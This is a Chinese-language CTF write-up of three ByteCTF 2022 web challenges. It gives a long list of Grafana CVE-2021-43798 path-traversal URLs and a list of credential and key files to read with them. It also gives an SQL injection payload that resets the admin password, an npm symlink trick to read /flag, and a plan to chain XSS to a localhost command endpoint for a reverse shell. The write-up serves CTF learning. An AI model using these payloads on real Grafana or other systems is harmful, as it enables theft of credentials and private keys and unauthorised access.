2022ByteCTFWP-Web
这次跟lu1u还有学弟一起在n03tAck
打了字节, 不过比赛进行到第二天的时候我们要打美团决赛,所以只做了一天的题目有点难搞, Web就只在第一天解出了两个题目, 在这里记一下WP吧
easy_grafana
grafana进去就是先看版本号v8.2.6
Grafana的8.0.0-beta1 to 8.3.0
都有CVE-2021-43798这个文件读取漏洞
但是这里直接使用之前的poc访问的话会返回400 Bad Request
, 后面试了一下通过添加#
成功获取得到内容(不知道后面是不是有中间代理还是什么的),然后读取grafana配置文件/etc/grafana/grafana.ini
如果打过*CTF
对这个就不陌生了, 但是有所区别, *CTF是直接在配置文件拿到admin的密码, 而这个则是只能获取secret_key
通过以下payload拿到数据库/var/lib/grafana/grafana.db
/public/plugins/gettingstarted/#/../../../../../../../../../../../../../../../var/lib/grafana/grafana.db
但是打开sqlite数据库可以看到admin的密码是被加密的
之后通过工具grafanaExp使用secret_key
还原得到flag:
注意,下载后的工具环境差异可能导致不可用, 我在服务器上跑不了,但是放到kali就没问题
留个笔记
一般通过grafana的任意文件读取漏洞我们可以考虑读取这些文件
/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline
留个poc:
/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd
ez_cloud
拿到源码看到注册的地方密码直接被拼接到insert语句直接注入修改admin密码,payload为:
',0),('admin','123456',1),('adminx','123456
之后就是admin/123456进去后台了,
后面进行的操作是:
随便install一个package依赖, 我这里看string-random的代码较少也不需要其他的依赖就选择了这个, npm install string-random
下载之后修改里面的package.json
,这个package.json会被正常加载, 相当于我们有了一个可以完全自己控制的package.json
这里需要做的修改就是添加dependencies
选项, 这样子就可以在node-moudles
目录下以依赖名作为文件名, 我们指定的文件(例如/flag
)作为目标的软链接
tar –czf string-random.tar.gz string-random
修改好了之后使用上面命令将依赖重新打包, 并且上传
之后我们就可以通过/dependencies
接口添加要加载的依赖, 并且将其指定为我们打包的修改后的string-random.tar.gz
然后执行/run
接口就会安装加载依赖, 先是题目里面原本的package.json
被记载, 从而导致我们指定的string-random.tar.gz
被解析出来并且加载string-random.tar.gz
里面的package.json
在string-random.tar.gz里面的package.json
又将一个h0cksr
的模块指向了/flag
因此生成的node-moedles/h0cksr
指向/flag
文件
直接访问这个h0cksr
文件即可加载出flag
npm的手册和学习参考
https://zhuanlan.zhihu.com/p/29329534
https://blog.csdn.net/feng98ren/article/details/93729399
https://docs.npmjs.com/cli/v6/configuring-npm/package-json
typing_game(未解出,写做题思路)
今天比赛刚结束, 所以网上也没WP什么的, 不知道自己的思路对不对, 还是记一下吧
源码就一个文件:
var express = require('express');
var child_process = require('child_process');
const ip = require("ip");
const puppeteer = require("puppeteer");
var app = express();
var PORT = process.env.PORT| 13002;
var HOST = process.env.HOST| "127.0.0.1"
const ipsList = new Map();
const now = ()=>Math.floor(Date.now() / 1000);
app.set('view engine', 'ejs');
app.use(express.static('public'))
app.get("/",function(req,res,next){
var {color,name}= req.query
res.send("index");
})
app.get("/status",function(req,res,next){
var cmd= req.query.cmd? req.query.cmd:"ps"
var rip = req.header('X-Real-IP')?req.header('X-Real-IP'):req.ip
console.log(rip,cmd,ip.isPrivate(rip))
if (cmd.length > 4 || !ip.isPrivate(rip)) return res.send("hacker!!!")
const result = child_process.spawnSync(cmd,{shell:true});
out = result.stdout.toString();
res.send(out)
})
app.get('/report', async function(req, res){
const url = req.query.url;
var rip = req.header('X-Real-IP')?req.header('X-Real-IP'):req.ip
if(ipsList.has(rip) && ipsList.get(rip)+30 > now()){
return res.send(`Please comeback {ipsList.get(rip)+30-now()}s later!`);
}
ipsList.set(rip,now());
const browser = await puppeteer.launch({
headless: true,
executablePath: '/usr/bin/google-chrome',
args: ['--no-sandbox', '--disable-gpu','--ignore-certificate-errors','--ignore-certificate-errors-spki-list']
});
const page = await browser.newPage();
try{
await page.goto(url,{
timeout: 10000
});
await new Promise(resolve => setTimeout(resolve, 10e3));
} catch(e){}
await page.close();
await browser.close();
res.send("OK");
});
app.get("/ping",function(req,res,next){
res.send("pong")
})
app.listen(PORT,HOST, function(err){ if (err) console.log(err); console.log(`Server listening on http://127.0.0.1:{PORT}`);
});
就四个路由,分别分析一下:
-
/
直接是首页,没什么功能,跳过 -
/status
对请求头的X-Real-IP
或者请求ip
通过ip.isPrivate
函数进行验证(里面主要是验证一些内网地址,有很多可选的), 如果验证通过并且传入的cmd
参数长度不超过4, 就直接将cmd
参数当做命令执行 -
/report
打开一个浏览器进行页面跳转, 访问我们指定的链接, 链接通过url
参数指定这里要注意, 请求的每个
X-Real-IP
或者请求ip
都会被放到一个全局一直存在的ipsList
数组中, 数组大小不能超过30并且同一个ip两次访时间不能低于30秒 -
/ping
单纯用来做验证, 返回一个pong
本地跑的时候下面这些X-Real-IP
都是可以通过ip.isPrivate
函数的验证的:
::ffff:10.0.0.0
192.168.0.1
172.16.0.1
127.0.0.1
169.254.0.1
fcff:
fe80:
::1
::
但是使用这些X-Real-IP
访问题目的时候却是会显示验证失败, 估计应该是代理中转或者服务开放的问题吧
如果X-Real-IP
直接生效的话那这个题目就是经典的4字符bash绕过问题了, 但是这里访问/status
的时候请求投头中的X-Real-IP
使用失败所以就变的复杂了一点
猜测估计是什么配置问题, 不过浏览器肯定是没问题的
所以思路就是直接写一个完成xss的html
文件. 然后通过/report
让浏览器加载js代码不断向http://127.0.0.1/status
发出请求, 然后构造好要执行的命令直接完成RCE反弹shell出来
注:
这个思路主要是我在本地测试的时候发现访问服务器上的xss.html, 如果http加载的是其他host的网站资源就可能会触发
同源策略SOP
的限制导致url加载失败, 但是加载127.0.0.1
的资源的时候是不会有问题的, 因此可以构造脚本写cs代码让浏览器不断请求http://127.0.0.1/status
直接完成反弹shell操作
看一下ip.isPrivate
函数:
ip.isPrivate = function (addr) {
return /^(::f{4}:)?10\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})/i
.test(addr)
|| /^(::f{4}:)?192\.168\.([0-9]{1,3})\.([0-9]{1,3})/i.test(addr)
|| /^(::f{4}:)?172\.(1[6-9]|2\d|30|31)\.([0-9]{1,3})\.([0-9]{1,3})/i
.test(addr)
|| /^(::f{4}:)?127\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})/i.test(addr)
|| /^(::f{4}:)?169\.254\.([0-9]{1,3})\.([0-9]{1,3})/i.test(addr)
|| /^f[cd][0-9a-f]{2}:/i.test(addr)
|| /^fe80:/i.test(addr)
|| /^::1/.test(addr)
|| /^::$/.test(addr);
};
可以看到倒数第三个匹配只要是fe80:
开头的均可, 所以选用这个作为X-Real-IP
的前缀, 构造xss.html